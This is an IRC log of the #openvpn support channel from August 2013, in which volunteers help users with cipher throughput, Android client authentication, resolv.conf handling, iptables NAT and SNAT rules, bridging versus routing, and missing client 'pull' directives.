08:12 < fluid`wrk> it can do 50 SSL vpn?
08:12 < kisom> It should handle 50 mbps without an issue.
08:13 < fluid`wrk> weird, i was reading max it got like 8
08:13 < kisom> Really depends on what cipher you're using
08:13 < fluid`wrk> didn't know i could change the cipher
08:13 < Zordrak> damn this thing.. what is the right root path to the sdcard for openvpn? all i need to do is pass it a username and pass and the ui nor the advanced config will let me :-[
08:13 < fluid`wrk> im just using the default openvpn access server
08:14 < fluid`wrk> as server, on a 3570k
08:15 < Zordrak> GOT IT
08:15 < Zordrak> now to see if this bitch will connect properly
08:15 < kisom> fluid`wrk: OK, this channel is for the open source edition. Anyways, my old Atom based laptop does 92 mbps troughput on AES-256. Just to give you a hint. The raspi is probably faster.
08:16 < fluid`wrk> o
08:16 < kisom> fluid`wrk: It does 900 mbps using RC4.
08:16 < fluid`wrk> well ok then
08:16 < fluid`wrk> guess i should get it
08:25 < fluid`wrk> i need to read about these "ciphers' you speak of
08:26 < plaisthos> Zordrak: which of the android clients?: )
08:26 < fluid`wrk> what's the access server channel
08:26 < fluid`wrk> nm
08:26 < fluid`wrk> im stupid
08:27 < plaisthos> kisom: nah, raspi uses an arm architecture older than atom with speed much lower than your atom ;)
08:28 -!- torkel_ [~torkel@38.84-234-168.customer.lyse.net] has quit [Ping timeout: 245 seconds]
08:41 < Zordrak> plaisthos: the most popular non-access-server one
08:41 < Zordrak> plaisthos: and it works
08:41 < Zordrak> plaisthos: I just wish it would prompt for username and password
08:41 < Zordrak> plaisthos: storing user/pass in plaintext on a phone means I cant deploy it to the organisation as it's too insecure
08:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
08:43 < plaisthos> Zordrak: I does prompt for user/password
08:43 < plaisthos> Zordrak: if you set auth method to user/password
08:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:43 < Zordrak> plaisthos: im an idiot
08:44 < plaisthos> Zordrak: Yeah. But as far as I am know there is no API on Android that allows safe storage of user/password
08:44 < plaisthos> And before implementing same half assed obfuscation I rather implement nothing at all
08:47 < Zordrak> plaisthos: no this will do nicely
08:47 < Zordrak> plaisthos: dont have to store password
09:08 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:17 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 245 seconds]
09:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
09:19 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
09:26 -!- HyperGlide [~HyperGlid@222.211.120.74] has joined #openvpn
09:27 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
09:33 -!- fluid`wrk [~fluidwrk@pat.westrope.com] has left #openvpn []
09:46 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
09:51 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
09:53 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: krzee]
09:53 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 264 seconds]
09:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:05 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
10:08 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
10:15 <@ecrist> what?
10:15 <@ecrist> sure
10:15 <@ecrist> .
10:15 <@ecrist> 
10:22 -!- russoisraeli [~igor@malka.Princeton.EDU] has joined #openvpn
10:22 < Zordrak> ecrist: buh?
10:23 < russoisraeli> hello folks. I have a quick question. I have DHCP options pushed to the client, including name server, and dns suffix.... on a linux client this completely overwrites /etc/resolv.conf...which screwes things up....any idea?
10:26 < russoisraeli> this is OpenVPN 2.3.1, Gentoo build
10:27 <@EugeneKay> This is handled by an update-resolv-conf script, not by `openvpn` proper. Fix your script.
10:27 <@EugeneKay> (or the one which Gentoo isntalled for you)
10:27 < russoisraeli> EugeneKay - so openvpn simply calls an external utility to modify resolv.conf?
10:27 <@EugeneKay> If you tell it to, yes.
10:28 -!- elfixit [~fix@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
10:28 <@EugeneKay> See your --up and --down option
10:29 < russoisraeli> yep...there's an option for this....thanks!
10:30 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
10:30 -!- mode/#openvpn [+o vpnHelper] by ChanServ
10:30 <@EugeneKay> Any time
10:31 <+pekster> russoisraeli: Be aware the gentoo initscript does some magic to "force" scripts on you when you use the remote keyword. You can turn this "feature" off by setting DETECT_CLIENT to no in conf.d/openvpn
10:32 <+pekster> http://paste.kde.org/p288147fb/raw/
10:32 < russoisraeli> thanks! was just looking at this
10:34  * EugeneKay lacks the requisite self-loathing for Gentoo
10:35 <+pekster> It's a fine development platform, but sometimes one of the authors tries "too hard" to make it smart
10:37 <+pekster> Then again, lots of distros end up doing init stuff like this poorly; debian (still!) doesn't have a standard way to start firewall rules on servers because they can't even agree on how to do it ;)
10:37 -!- troj [~xxx@ip-static-94-242-205-6.as5577.net] has joined #openvpn
10:38 < russoisraeli> heh.... there's no perfect Linux platform... I've tried most of the popular ones, and everyone has their quirks... at the end I chose Gentoo, although Arch is a close favorite
10:39 < russoisraeli> pekster - yeah... that's true... but with a free platform you can't really complain...thank for what you have and learn to fix things :)
10:39 <+pekster> I can complain all I want since I can and do submit patches when things are obviously broken
10:40 < russoisraeli> well, but then you are a contributor....not just a consumer
10:40 < russoisraeli> so it changes things
10:40 <+pekster> In this case it's (IMO) a dumb defeault, but it's targeted to users that don't read the init conf.d files who expect DNS pushed from VPN "providers" to work without doing anything
10:41 < russoisraeli> well, personally I work on a lot of different platforms, so I often forget to check conf.d
10:45 < russoisraeli> are you guys OpenVPN dev's or just volunteers?
10:52 <+pekster> There's a mix of both; I'm involved a bit in the dev side too submitting and reviewing patches that are of particular interest
10:54 -!- napnap [~napnap@95-141-110-114.stella-net.net] has quit [Quit: Quitte]
11:03 < russoisraeli> well, that's a great project... I've learned so much back in the days by messing with it. So lot's of respect for the dev's
11:05 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Read error: Connection reset by peer]
11:14 -!- troj [~xxx@ip-static-94-242-205-6.as5577.net] has quit [Read error: Connection reset by peer]
11:15 -!- elfixit [~fix@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: Leaving]
11:24  * plaisthos just breaks things :D
11:27 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:28 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
11:28 -!- mode/#openvpn [+v hazardous] by ChanServ
11:32 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 268 seconds]
11:33 -!- HyperGlide [~HyperGlid@222.211.120.74] has quit [Remote host closed the connection]
11:34 -!- Devastator [~devas@177.18.199.102] has joined #openvpn
11:36 -!- Devastator [~devas@177.18.199.102] has quit [Changing host]
11:36 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
11:44 -!- troj [~xxx@ip-static-94-242-205-6.as5577.net] has joined #openvpn
11:54 -!- troj [~xxx@ip-static-94-242-205-6.as5577.net] has quit [Ping timeout: 248 seconds]
12:00 -!- troj [~xxx@ip-static-94-242-205-6.as5577.net] has joined #openvpn
12:07 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jpcypdglpegoyqmg] has joined #openvpn
12:12 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
12:14 -!- Laverne [~Laverne@devilsown.net] has joined #openvpn
12:15 -!- HyperGlide [~HyperGlid@222.211.120.74] has joined #openvpn
12:20 -!- HyperGlide [~HyperGlid@222.211.120.74] has quit [Ping timeout: 260 seconds]
12:36 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
12:36 -!- StevenFeelsburg [~rmurphy@wsip-184-178-199-226.ph.ph.cox.net] has joined #openvpn
12:42 -!- goldkatze_ [~nobody@unaffiliated/goldkatze] has joined #openvpn
12:42 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Connection reset by peer]
12:54 < sauce> i have a site-to-site setup and want to NAT traffic, what is the iptables masquerade command? i forget.  i have tun0 and eth0
12:56 <+pekster> You likely want either the SNAT or MASQUERADE netfilter target (documentation can be found in iptables-extensions(8) )
12:57 <+pekster> This said, why not route the traffic between your sites with return routes and not deal with NAT at all?
12:59 < sauce> pekster thank you!  i will definitely need NAT in this case, i don't have access to router devices and dont' want to bother asking for it
13:00 < sauce> got it working, thank you!
13:01 -!- oc80z [~oc80z@blea.ch] has quit [Ping timeout: 264 seconds]
13:04 -!- oc80z [~oc80z@blea.ch] has joined #openvpn
13:15 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
13:27 -!- russoisraeli [~igor@malka.Princeton.EDU] has quit [Quit: Ex-Chat]
13:30 -!- gardar [~gardar@gardar.net] has joined #openvpn
13:36 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Quit: Computer has gone to sleep.]
13:40 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
13:49 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
14:11 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
14:29 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 268 seconds]
14:51 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Quit: Computer has gone to sleep.]
14:58 -!- goldkatze_ [~nobody@unaffiliated/goldkatze] has quit [Read error: Connection reset by peer]
15:00 -!- bitg [bitg@gateway/shell/xzibition.com/x-dfmxffikyxdusqxw] has quit [Ping timeout: 240 seconds]
15:02 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
15:02 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
15:07 -!- bitg [~bitg@gateway/shell/xzibition.com/x-gzmomhlbdpeduzzh] has joined #openvpn
15:29 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
15:31 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
15:39 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
15:46 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
15:46 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 23.0/20130730113002]]
16:22 < dvl> I'm replacing my firewall, which means I'm setting up OpenVPN on a new server.  The old OpenVPN gave everything an IP address in 10.1.0/24, for example.  Whereas everything in the local LAN is actually 10.2.0/24.    If I wish to change that so everyone is in the local LAN, what should I read up on please?  I'm looking for some search terms.
16:23 <+pekster> Don't do that unless you have a valid reason:
16:23 <+pekster> !whybridge
16:23 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
16:23 -!- StevenFeelsburg1 [~rmurphy@wsip-184-178-199-226.ph.ph.cox.net] has joined #openvpn
16:23 -!- StevenFeelsburg [~rmurphy@wsip-184-178-199-226.ph.ph.cox.net] has quit [Ping timeout: 245 seconds]
16:26 -!- StevenFeelsburg1 [~rmurphy@wsip-184-178-199-226.ph.ph.cox.net] has quit [Client Quit]
16:27 -!- StevenFeelsburg [~rmurphy@wsip-184-178-199-226.ph.ph.cox.net] has joined #openvpn
16:27 < dvl> I do not "need a specific feature which requires bridging".  My question is invalid. Time for beer.
16:28 < dvl> The real reason I wanted this was so my laptop had the same IP at home and away.
16:29 <+pekster> That would potentially be a specific feature you need that requires bridging then. This said, you can (probably) do what you want with dynamic DNS too, but since you describe the step and nto not the goal, that's not very clear
16:32 < dvl> pekster: How does dynamic DNS achieve that?
16:32 <+pekster> You haven't defined your goal
16:32 <+pekster> I have no bloody idea
16:32 <+pekster> !goal
16:32 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
16:34 < dvl> pekster: Ahh now I understand.  Yes, I encounter that same problem when helping.  My error…  Yes, I can see now how dynamic DNS is a better idea and concentrating on always having the same IP address.  Yes, it was backups that I was thinking about.  I want to be able to backup my laptop, whether at home or on the road (and connected via VPN).
16:34 < dvl> .. better idea THAN  concentrating....
16:36 <+pekster> tap to get the same IP on the same subnet is one solution. A dynamic DNS record is better as it uses tun (more efficient, less potential for security issues like ARP MAC spoofing, etc)
16:38 < dvl> Plus, tun is less work, since I already have a working configuration.
16:39 < dvl> And I'm planning to move my DHCP server off the gateway and into a jail.
16:47 < dvl> pekster: thanks.
17:16 -!- HyperGlide [~HyperGlid@222.211.120.74] has joined #openvpn
17:18 -!- Denial [Denial@94.9.99.190] has quit []
17:19 -!- troj [~xxx@ip-static-94-242-205-6.as5577.net] has quit [Ping timeout: 276 seconds]
17:26 -!- cjac is now known as cj
17:34 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
17:34 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
17:37 -!- troj [~xxx@ip-static-94-242-205-6.as5577.net] has joined #openvpn
17:40 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
17:40 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 256 seconds]
17:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
18:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:08 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
18:08 -!- Konigsberg7 [~mIRC@c-67-175-18-125.hsd1.il.comcast.net] has joined #openvpn
18:17 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:56 -!- StevenFeelsburg [~rmurphy@wsip-184-178-199-226.ph.ph.cox.net] has quit [Quit: Leaving.]
18:58 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
19:05 -!- zoidberg- [~zoidberg@94.23.170.2] has quit [Read error: Connection reset by peer]
19:23 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
19:27 -!- HyperGlide [~HyperGlid@222.211.120.74] has quit [Remote host closed the connection]
19:31 -!- zoidberg- [~zoidberg@94.23.170.2] has joined #openvpn
19:36 -!- crus [~crusader@2001:44b8:319e:2900:70b0:67be:ff17:bde3] has joined #openvpn
19:46 -!- zoidberg- [~zoidberg@94.23.170.2] has quit [Remote host closed the connection]
20:04 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
20:04 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
20:06 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
20:06 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
20:09 -!- StevenFeelsburg [~rmurphy@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
20:12 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 245 seconds]
20:12 -!- unixman9000 [~Adium@wsip-184-178-199-226.ph.ph.cox.net] has joined #openvpn
20:57 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 248 seconds]
21:01 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
21:23 -!- HyperGlide [~HyperGlid@222.211.120.74] has joined #openvpn
21:30 -!- nwru [~no@107-214-41-163.lightspeed.wepbfl.sbcglobal.net] has quit []
21:34 -!- dna6a [~dna6a@203-206-184-111.perm.iinet.net.au] has joined #openvpn
21:35 < dna6a> does anyone here use synology?
21:35 < dna6a> I am stuck, I am able to connect to VPN from windows8  to the VPN synology server but I cant access the internet
21:41 < dna6a> ive got my files from openvpn from nas and edited the .conf with my interalip (where the vpn is installed 192.186.1.1) is that correct? I tried making it ***.dscloud.me but that didnt connect
21:42 -!- HyperGlide [~HyperGlid@222.211.120.74] has quit [Remote host closed the connection]
21:55 -!- HyperGlide [~HyperGlid@222.211.120.74] has joined #openvpn
21:56 <+pekster> dna6a: I have no clue what "synology" is; is it some app you're trying to use across the VPN?
21:57 <+pekster> This said, if you're setting up your own server trying to redirect traffic, see !redirect
21:57 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
21:58 < dna6a> !redirect
21:58 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:58 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
21:59 -!- unixman9000 [~Adium@wsip-184-178-199-226.ph.ph.cox.net] has quit [Ping timeout: 248 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:03 < dna6a> http://ircpimps.org/redirect.png
22:04 < dna6a> I cant find redirect gateway on the windows client, but when the VPN is connected, i can ping 8.8.8.8 but not google.com
22:06 <+pekster> You general push the --redirect-gateway option from your server; paste the server config (might as well pastebin your client's too) and !logs from verb 3 at both ends
22:07 <+pekster> This said, it sounds like a DNS issue (maybe not pushing DNS or still using the old one that is no longer availalbe after redirecting traffic?)
23:12 -!- dna6a [~dna6a@203-206-184-111.perm.iinet.net.au] has quit [Ping timeout: 252 seconds]
23:19 -!- dna6a [~dna6a@93.115.84.195] has joined #openvpn
--- Day changed Sat Aug 17 2013
00:06 -!- FFForever [~FFForever@unaffiliated/ffforever] has left #openvpn ["Leaving"]
00:32 -!- dna6a [~dna6a@93.115.84.195] has quit [Ping timeout: 252 seconds]
00:37 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has left #openvpn ["Leaving"]
00:38 -!- dna6a [~dna6a@93.115.84.195] has joined #openvpn
00:43 -!- dna6a [~dna6a@93.115.84.195] has quit [Ping timeout: 252 seconds]
00:50 -!- dna6a [~dna6a@203-206-184-111.perm.iinet.net.au] has joined #openvpn
01:36 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
02:19 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jpcypdglpegoyqmg] has quit [Ping timeout: 268 seconds]
02:21 -!- cali [~cali@unaffiliated/cali] has quit [Read error: Operation timed out]
02:23 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
02:45 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:12 -!- lolcat is now known as user
03:30 -!- i7c [~i7c@unaffiliated/i7c] has quit [Quit: oh no, why]
03:31 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
03:33 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:45 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
04:10 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:32 < Laverne> Hi everyone. I am trying to set up a vpn between a linux server and windows client, but my windows client does not assign the IP to the TAP interface when it logs on.
04:32 < Laverne> client log: http://sprunge.us/SNRS client config: http://sprunge.us/DaKQ server log: http://sprunge.us/ChRg
04:32 < Laverne> (let me also add the server conf)
04:33 < Laverne> server conf: http://sprunge.us/jbNG
04:33 < Laverne> connection goes fine, and if I assign an IP directly to the TAP I am able to ping the client as well
04:33 < Laverne> I am looking for a way to let the openvpn server assign an IP from its pool to the client
05:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
05:13 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:24 -!- Laverne [~Laverne@devilsown.net] has quit [Ping timeout: 264 seconds]
05:25 -!- folivora [~out@46.19.34.64] has joined #openvpn
05:25 < folivora> !welcome
05:25 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
05:25 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
05:26 < folivora> !goal
05:26 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
05:29 -!- Laverne [~Laverne@devilsown.net] has joined #openvpn
05:30 -!- Laverne [~Laverne@devilsown.net] has quit [Client Quit]
05:37 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
05:38 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
05:59 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:00 -!- Laverne [~Laverne@devilsown.net] has joined #openvpn
06:07 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
06:07 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-cwogvumefxsddvjr] has joined #openvpn
06:34 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
06:38 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-cwogvumefxsddvjr] has quit [Read error: Connection reset by peer]
06:39 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ernnponsrooorzku] has joined #openvpn
06:56 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ernnponsrooorzku] has quit [Ping timeout: 264 seconds]
07:17 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 248 seconds]
07:19 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
07:19 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
07:19 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
07:19 -!- mode/#openvpn [+o novaflash] by ChanServ
07:43 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:17 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
08:20 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:52 -!- riddle [riddle@us.yunix.net] has quit [Quit: leaving]
08:53 -!- riddle [riddle@us.yunix.net] has joined #openvpn
09:28 -!- troj [~xxx@ip-static-94-242-205-6.as5577.net] has quit [Quit: :(]
09:28 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
09:40 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
09:42 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
09:50 -!- HyperGlide [~HyperGlid@222.211.120.74] has quit [Remote host closed the connection]
09:50 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
09:55 -!- HyperGli_ [~HyperGlid@222.211.120.74] has joined #openvpn
09:59 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Ping timeout: 264 seconds]
10:00 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-egwqaitmodupwuld] has joined #openvpn
10:10 -!- HyperGli_ [~HyperGlid@222.211.120.74] has quit [Remote host closed the connection]
10:11 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
10:11 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Quit: :(]
10:14 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
10:25 -!- HyperGli_ [~HyperGlid@222.211.120.74] has joined #openvpn
10:28 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Ping timeout: 260 seconds]
10:32 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:41 -!- mback2k_ [sbnc@89.238.84.46] has quit [Read error: Operation timed out]
10:43 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
10:44 <+pekster> Laverne: Your client has no 'pull' statement, so it won't pick up any of the server pushes. This includes the addressing pool (the client's IP) and your --keepalive directive from the server. Additionally, use of --link-mtu like that is 1) not recommended (see the manpage) and 2) likely to cause you issues if MTU is set like that on one side but not the other
10:44 -!- mete- [~mete@mete.shell.la] has joined #openvpn
10:46 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
10:47 -!- Netsplit *.net <-> *.split quits: mete
10:50 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Ping timeout: 264 seconds]
10:50 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
10:50 < Laverne> thanks pekster, I'll read up on the push statements
10:51 <+pekster> Laverne: When the client sends a pull request (caused by --pull) the server's --ifconfig-pool will push the IP, and see the expansion for --keepalive; you already have (implied) pushed directives, but the client simply isn't gett them
10:53 < Laverne> sounds good :) I'll give it another attempt tomorrow
11:04 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:07 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
11:08 -!- JSharpe_ [~JSharpe@37.220.15.234] has quit [Ping timeout: 256 seconds]
11:20 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 264 seconds]
11:43 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
11:44 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
11:45 -!- Dougy [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has quit [Read error: Connection reset by peer]
11:46 -!- dougy[work] [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has joined #openvpn
11:58 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
12:31 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
12:36 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 240 seconds]
12:37 -!- sauce [~sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
12:37 -!- sauce [~sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
12:37 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
12:37 < Pei> Hey guys
12:38 < Pei> What do I need to do to iptables to tell openvpn to use eth0:0 as the ip i want to be my source IP for vpn internet connectivity
12:38 < Pei> right now i have -A POSTROUTING -o eth0 -j MASQUERADE
12:39 < Pei> -A POSTROUTING -o eth0:0 -j MASQUERADE
12:39 < Pei> doesn';t seem to work
12:39 <+pekster> Because eth0:0 isn't an interface
12:39 <+pekster> !ifconfig_linux
12:39 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
12:39 <+pekster> See that link to understand why, then stop using ifconfig becase it's lying to you
12:39 < Thermi> Pei: go read the iptables manpages.
12:39 <+pekster> because*
12:40 < Thermi> and start using the ip tool
12:40 <+pekster> MASQUERADE and SNAT work differently; iptables-extensions(8) is your reference to understand why
12:40 < Thermi> ^
12:40 < Pei> okay, so i would need to snat it to the IP i wanna use?
12:40 -!- BadAtom [~epigramma@supporter/active/BadAtom] has joined #openvpn
12:41 < Pei> does this look right? -A POSTROUTING -s 10.1.10.0/24 -j SNAT --to-source 23.90.5.7
12:41 < Thermi> yes.
12:41 < Pei> thanks
12:42 < Thermi> But you need to add that ip to the corresponding interface you want to use
12:42 < Thermi> you can do that with the ip-tool.
12:42 < Pei> the ip is already there
12:42 < Thermi> okay.
12:42 <+pekster> Technically ifconfig can do it too with "aliases" but you should avoid ifconfig at all costs since it uses 2.2-era kernel ioctls
12:42 < Thermi> ^
12:42 < Pei> ahh
12:42 < Thermi> long story short: ifconfig is extremely deprecated.
12:43 < Thermi> use ip.
12:43 < Pei> so i don't need the eth0 masquerade table?
12:43 < Pei> or do i still need that?
12:43 <+pekster> You do if you want to NAT traffic leaving eth0
12:45 < Pei> still shows me connecting from 23.90.5.6
12:45 < Pei> instead of .7
12:45 < Thermi> I think your rule belongs in the nat-table
12:45 < Pei> do i need to reconnect to vpn? or restart it?
12:45 < Thermi> no.
12:45 <+pekster> Assuming that rule is in iptables-save(8) syntax, it may very well be on the nat table
12:46 < Pei> yeah i did -t nat
12:46 <+pekster> In fact, it has to be as SNAT is not valid elsewhere
12:46 -!- stasher [~dan@cpe-24-24-221-190.socal.res.rr.com] has joined #openvpn
12:46 <+pekster> Either the rule isn't matching, or another SNAT (or MASQUERADE) rule is hit first
12:46 <+pekster> Check with `iptables-save -c` and look at the packet counters
